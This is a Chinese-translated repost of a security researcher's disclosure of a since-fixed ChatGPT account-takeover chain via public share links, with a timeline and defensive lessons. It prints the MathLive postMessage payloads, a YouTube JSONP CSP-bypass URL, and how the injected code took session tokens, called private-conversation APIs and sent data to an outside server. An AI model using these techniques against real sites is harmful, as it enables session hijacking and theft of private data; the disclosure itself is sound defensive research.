跳到正文
Hacker News· armcat·· 2 天前精选AI 评分91

Parameter.ai 披露 ChatGPT 分享链接接管账户漏洞

Do the math: How we took over ChatGPT accounts

AI 导读

Parameter.ai 研究人员发现,恶意 ChatGPT 公共分享链接可在受害者登录会话中执行 JavaScript,读取未共享的私有对话并执行账户操作。在让 HTML 块自动打开 Preview 的复现中,受害者只需打开链接;团队在独立账户中复现 3 次,告警约在 4.5 秒后出现。

推荐理由

文章拆解了公共分享、HTML Preview、MathLive 消息桥与 CSP 组合形成的攻击链,并归纳出跨窗口鉴权、HTML 持续沙箱化等防护要点。

正文 · AI 翻译

2026 年 10 月,我们找到了一种方法,将普通的公开 ChatGPT 分享内容变成攻击者可控的 JavaScript,并使其在打开者的已登录会话中运行。

攻击者可以创建一个恶意对话,通过 ChatGPT 的常规分享功能发布,然后将链接发送给另一名用户。当受害者打开分享内容时,载荷会作为 chatgpt.com 执行,并可访问受害者已认证的网页会话。

我们确认,这段代码能够枚举受害者的对话列表,提取一段从未与攻击者分享过的私密对话中的内容,并将该对话的数据发送到外部服务器。载荷的功能并不限于修改页面或显示警告——它可以直接以受害者的身份调用 ChatGPT 的已认证 API,实际上让我们能够接管受害者的 ChatGPT 账户。

受害者无需安装 App、加入 Project、粘贴代码或打开开发者工具。打开分享链接是唯一必需的操作。

OpenAI 于 10 月 26 日修复了此问题,并将该报告归类为 P1。

这条攻击链始于两个单独看似无害的功能:一幅图和一个 HTML 预览。

flowchart TD
  A["Attacker publishes a ChatGPT conversation"] --> B["Victim opens the public share"]
  B --> C["HTML Preview crosses into the main chatgpt.com page"]
  C --> D["JavaScript runs in the victim's signed-in session"]
  D --> E["Any action on chatgpt.com as the victim:<br/>read private chats and files, change the account"]

技术解析


从一个图和一个预览开始

这项研究的起点问题很简单:如果把 Preview 代码限制在另一个网站中,它仍然能与什么通信?

ChatGPT 可以利用其 Preview 功能,将 HTML 代码块转换成一个小型可运行网页。由于该页面可能包含任意代码,ChatGPT 合理地将其置于另一个网址上的受限框架中运行。Preview 可以运行 JavaScript,但浏览器会将其视为不同的网站,因此无法直接检查周围已登录的 ChatGPT 页面。

起初,这种隔离看起来完全符合预期。Preview 内的代码无法读取 parent.document,而它就是主要的 ChatGPT 页面。事情本应到此为止。

该对话中还包含一个普通的交互式图。图在幕后加载了一个名为 MathLive 的数学库。加载它不仅会绘制图形,还会在主 ChatGPT 页面中安装一个监听器,用于接收与 MathLive 屏幕键盘相关的消息。

浏览器将相关 API 称为 postMessage。即使浏览器阻止两个框架读取彼此的页面,这仍是两个框架交换信息的合法方式。可以把它想象成一个投信口:受限的 Preview 无法走进主页面,但仍然可以通过投信口投递消息。

只有当接收方检查消息发送者时,这种机制才是安全的。

对于我们关注的设置,MathLive 并未进行这种检查。它的监听器接受了一条用于更改虚拟键盘布局的消息,而该布局允许包含 HTML。图安装了接收方,Preview 则为我们提供了一个不受信任的发送方。两个互不相关的功能意外打通了一条跨越沙箱的路径。

本不该奏效的消息

Preview 发送了两条消息。第一条用我们的 HTML 替换了虚拟键盘布局。第二条指示 MathLive 显示键盘,从而促使其渲染新布局:

top.postMessage({
  type: "mathlive#virtual-keyboard-message",
  action: "update-setting",
  layouts: [{
    label: "Compatibility",
    layers: [{ id: "compatibility", markup }]
  }]
}, "*");

top.postMessage({
  type: "mathlive#virtual-keyboard-message",
  action: "show",
  animate: false
}, "*");

MathLive 识别这种公开的消息类型,但其顶层控制器使用的来源策略为 none,这意味着它接受来自任何网址的消息。它也没有要求 update-setting 消息必须来自先前获得批准的窗口。任何能够访问该监听器并了解消息格式的人,都可以替换该布局。

键盘打开后,MathLive 将传入的布局合并为一个 HTML 字符串,并将其赋值给真实 ChatGPT 页面中的 innerHTML。一个名为 createHTML 的辅助函数最初看起来可能会对该值进行清理。事实并非如此;它只是将该字符串标记为受信任,然后原样传递我们的 HTML。

这令人兴奋,但我们仍然无法执行 JavaScript。通过 innerHTML 插入的脚本标签不会自动运行。

下一步是使用 srcdoc 的 iframe,这是一种浏览器功能,可让嵌入式框架直接在属性中携带其 HTML:

<iframe srcdoc="..."></iframe>

MathLive 将这个框架插入主 ChatGPT 文档时没有带上 sandbox 属性。这给了我们两项有用的特性。首先,srcdoc 创建了一个全新的文档,外部脚本可以在其中执行。其次,由于主 ChatGPT 页面创建了该框架,浏览器赋予它 https://chatgpt.com Web 身份。因此,新框架中的代码可以访问父页面。

使用 YouTube JSONP 绕过 CSP

ChatGPT 的内容安全策略(Content Security Policy,简称 CSP)再次拦住了我们。CSP 控制页面可以加载哪些脚本,而该策略正确地阻止了内联 JavaScript。不过,它允许加载来自 YouTube 的脚本。

YouTube 的 oEmbed 端点支持 JSONP 风格的回调参数。JSONP 响应是 JavaScript,而不是普通 JSON。该端点试图拒绝无效的回调,但它在返回验证错误之前,已经把回调放入了响应中:

https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void

响应开头如下:

// API callback
globalThis.__marker=31337;void({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: ..."
  }
});

用 ;void 结束回调后,YouTube 追加的对象便无害了。由于 ChatGPT 的 CSP 已经允许 YouTube,浏览器便将这个响应作为脚本加载,并在新框架中运行我们的回调。

现在,我们已经能让任意 JavaScript 以 chatgpt.com 的身份运行。最初的 Preview 仍被隔离在其独立的 Web 地址上;我们通过说服主页面中的一个受信任组件为我们创建一个新的、不受沙箱限制的文档,从而越过了这道边界。

将实验环境中的漏洞变成一个公开链接

到目前为止,这是一次有用的沙箱逃逸,但第一个可用版本并不是有说服力的现实攻击。它使用研究者控制的 ChatGPT App 作为发送方。受害者必须先连接或调用该 App。

接下来,我们尝试通过原生 HTML 附件投递载荷。ChatGPT 在同一个沙箱化的 Preview 中打开该附件,因此它可以发送恶意的 MathLive 消息。

然而,将对话导出为公开分享内容时,附件保留了下来,但之前的图表没有保留。图表至关重要,因为它会加载 MathLive,并在主页面中安装有漏洞的消息监听器。没有图表,附件仍能发送消息,但没有任何程序在监听或处理这些消息。

突破之处在于,将这两个部分直接放进同一个普通的公开对话中:

  1. 真正的图表在主页面中初始化了 MathLive。
  2. 之后由助手编写的 HTML Preview 发送了这两条消息。

由此生成的 /share/<id> 链接为另一位用户保留了完整链条。攻击者可以像发送任何共享的 ChatGPT 对话那样投递它——通过电子邮件、聊天、支持工单或社交帖子。受害者无需安装任何东西、加入攻击者的工作区,也无需通过攻击者控制的流程进行身份验证。他们只需访问攻击者共享的 ChatGPT URL。

我们观察到了这种交互的两种版本。在最稳定的复现中,受害者打开分享链接,并点击一次 ChatGPT 常规的预览按钮。随后,我们将该 HTML 区块标记为可预览,使 ChatGPT 自动打开它。在这个版本中,受害者只需点击一次即可打开链接。我们在另一个账户中复现了自动触发路径三次,包括强制刷新后的情况,警告大约在 4.5 秒后出现。

图表和预览独立加载,因此载荷偶尔会在 MathLive 准备就绪之前发送消息。最终载荷通过在有限时间内重试相同的两条消息来处理这一竞态条件。主页面中的一项保护措施确保私密对话证明和站外请求仅运行一次。

The public share modified the real ChatGPT page
公开分享修改了真实的 ChatGPT 页面

此时,公开分享可以显示一个由浏览器标识为来自 chatgpt.com 的警告,还可以在主页面上添加横幅。这证明我们的代码运行在哪里,但尚未说明该漏洞为何重要。

仅显示警告还不够

此时,显示警告只是该漏洞所能做到的事情中最不值得一提的一件。JavaScript 正以 chatgpt.com 的身份运行,这意味着它可以使用与正常 Web 应用相同的已认证上下文与 ChatGPT 交互。

载荷读取页面已经掌握的会话信息,并利用它调用 ChatGPT 的对话 API。首先,它枚举了受害者最近的对话。随后,它可以请求某个选定私密对话的消息数据:

GET /backend-api/conversations?...&limit=20&order=updated&offset=0
GET /backend-api/conversations/<conversation-id>?num_turns=2

这是直接使用已认证凭据访问 API,而不是抓取恰好显示在屏幕上的文本。目标对话与恶意分享无关,而且从未与攻击者分享过。

一旦注入的 JavaScript 获得响应,将数据发送到站外就很 straightforward。载荷创建了一个普通的图片请求,目标是我们所控制的服务器。

我们特意只将一小部分响应发送到站外。注入代码已经收到了经过认证的对话响应,并能读取其内容,因此该漏洞并不局限于该值。

Controlled proof that private conversation data could leave the victim's session
受控证明:私密对话数据可以离开受害者的会话

其结果是一种切实可行的跨用户数据窃取原语。恶意公开对话可以在另一名用户已登录的 ChatGPT 会话中执行,枚举私密对话、获取私密消息内容,并将选定数据发送至攻击者控制的服务器。

由于代码拥有 Web 应用的已认证访问权限,其影响范围本身并不局限于我们在证明中使用的对话端点。通过 ChatGPT 已认证前端 API 暴露的其他数据和操作也处于同一安全边界内。实质上,我们可以代表受害者的 ChatGPT 账户执行任何操作。

哪里出了问题,以及 OpenAI 修复了什么

预览沙箱本身运行正常。预览中的代码无法直接读取 ChatGPT 页面。问题在于,主页面中的另一个组件愿意接受它发出的指令。

三个设计决策将这一错误变成了完整的漏洞利用:

  1. MathLive 接受改变状态的消息,却没有证明消息是由哪个框架发送的。
  2. 该消息格式允许将原始 HTML 作为键盘布局数据提供。
  3. 该 HTML 可以创建一个未沙箱化的文档,并继承 chatgpt.com 的身份。

针对 YouTube 的响应只是 CSP 的最终变通方案,而非根本原因。仅屏蔽该端点会移除一条通向 JavaScript 的路径,但仍会让不受信任的 Preview 能够向 ChatGPT 中插入 HTML。

OpenAI 分别复现了 JavaScript 执行和私密对话披露证明。修复已部署到 ChatGPT 网页前端的两个版本中。在部署期间,CSP 变更阻止了原始利用链的一部分,但其中一个版本仍需更新。October 26,OpenAI 确认两个版本现在都会拒绝报告所使用的跨框架 MathLive 消息,并将该问题标记为已解决。

防御方面的教训相当简单:

  • 消息接收方应同时验证发送方的网络地址,以及被授予权限的确切窗口。
  • 跨窗口设置不应包含原始 HTML。
  • 当动态创建的文档内容可能受到不受信任的框架影响时,应继续将其置于沙箱中。
  • CSP 应作为后备控制手段,而不是攻击者控制的 HTML 到达主站点后的唯一屏障。

这个漏洞之所以有趣,是因为每项单独的功能看起来都很合理。Preview 处于隔离状态。图表可以加载数学键盘。框架可以交换消息。CSP 放行了一家大型媒体提供商。公开对话可以被分享。只有当所有这些功能组合在同一个页面中时,漏洞才会出现。

时间线

日期事件
October 13, 2026针对 ChatGPT 的生产代码确认了 MathLive 消息到 HTML 的路径。
October 14通过常规 UI 复现了整条利用链,并将原本内容固定的提示升级为可执行任意 JavaScript。
October 16确认只需点击一次 Preview,即可在相互独立的账户和工作区之间传递公开分享内容。
October 17确认通过分享页面导航会自动触发 Preview,并在强制刷新后成功复现。
October 18向 OpenAI 的漏洞赏金计划提交了报告。
October 19添加了受控的私密对话披露证明。
October 21OpenAI 复现了该问题;严重程度从初步分诊时的 P2 提升至 P1。
October 22OpenAI 报告称,一个网页前端已修复,而另一个仍在更新中。
October 23CSP 变更阻止了利用链的一部分,但仍有一个前端更新尚未完成。
October 26OpenAI 确认两个前端均会拒绝所报告的消息,解决了该问题,并发放了总计 $5,000 的赏金。

技术说明

上述主要叙述包含完整的利用链。以下详细信息面向希望更仔细跟踪生产代码和载荷转换过程的读者。

相关的去混淆控制流等价于:

window.addEventListener("message", (event) => {
  if (event.data?.type !== "mathlive#virtual-keyboard-message") return;
  if (!validateOrigin(event.origin, this.originValidator)) return;
  this.handleMessage(event.data, event.source);
});

if (message.action === "update-setting" && message.layouts) {
  this.layouts = message.layouts;
}

布局规范化保留了 layouts[].layers[].markup。显示键盘最终执行的操作等价于:

keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML);

createHTML 充当的是 identity 或 Trusted Types 包装器,而不是清理器。Trusted Types 可以限制哪些主体能够向 HTML 写入点赋值,但 identity 策略不会使攻击者控制的字符串变得安全。

解析器与 CSP 的转换。 innerHTML 操作可以创建 iframe,但通过这种方式直接插入的脚本仍将保持未执行状态。未设置沙箱的 srcdoc 触发了对全新 HTML 文档的解析,并继承了嵌入页面的 ChatGPT 来源。该文档还继承了测试期间捕获的有效 CSP,该 CSP 阻止内联代码,但允许 www.youtube.com 出现在 script-src-elem 中。

oEmbed 响应返回了 HTTP 200,其中包含 Content-Type: text/javascript; charset=UTF-8 和 X-Content-Type-Options: nosniff;未观察到 Cross-Origin-Resource-Policy 标头。Google 重写了回调中的尖括号,因此载荷使用了经典 function 语法,而不是箭头函数。以 ;void 结束程序时,端点追加的错误对象被消耗掉了。

对于私信对话验证,函数通过 toString() 转换为了源代码,双引号被转换为单引号,空白字符也被折叠。随后,URLSearchParams 将其编码到回调中,脚本 URL 在 <script src> 内被 HTML 转义,而整个元素又被转义并写入 iframe 的 srcdoc 属性。最终回调为 5,533 个字符;YouTube URL 为 7,309 个字符;script 元素为 7,337 个字符;最终 iframe 标记为 7,390 个字符。

已认证的读取。 同源框架从父文档中解析 #client-bootstrap,提取会话访问令牌和账户 ID,并在二者均存在时要求令牌中的账户 ID 与会话一致。它使用了以下内存标头:

Authorization: Bearer <victim token>
ChatGPT-Account-ID: <victim account>
Accept: application/json

主要请求为:

GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0
GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=true

只有详情请求返回 403、404 或 405 时,代码才会尝试旧版 /backend-api/conversation/<id>?include_full_conversation=true 路径。验证过程只传输响应中一个经筛选的小值。在发起外部图像请求之前,它清除了对令牌、账户、bootstrap、会话和请求标头的引用。

关键要点

  • 隔离的强度取决于跨越它的每一座桥。当拥有特权的监听器信任来自错误发送方的消息时,沙箱框架仍可能攻破其父框架。
  • postMessage 接收方必须在接受会改变状态的指令前,对 event.origin 和 event.source 进行身份验证。
  • 借助一个全新的、未设沙箱的文档以及一个获准使用的第三方脚本端点,HTML 注入可以转化为 JavaScript 执行。CSP 是很有价值的纵深防御手段,但无法让不安全的渲染路径变得安全。
  • 同源 JavaScript 的影响必须在受害者的已认证上下文中评估。一旦代码以 chatgpt.com 的身份运行,它就能够访问与普通前端相同的私密数据和账户操作,而不仅仅是显示一个警告框。
  • 跨功能测试很重要。这条链存在于公开分享、Preview、MathLive、框架创建和 CSP 之间的衔接处,而不是只存在于任何一项单独考察的功能中。

更广泛的教训是,安全边界必须贯穿整个产品并始终有效,而不能只在各个组件内部成立。任何公开或可共享的攻击面都应被视为攻击者可控的输入,每条跨框架消息都应经过身份验证,而不可信标记在其整个渲染路径中都应保持沙箱隔离。

来源:Hacker News · parameter.ai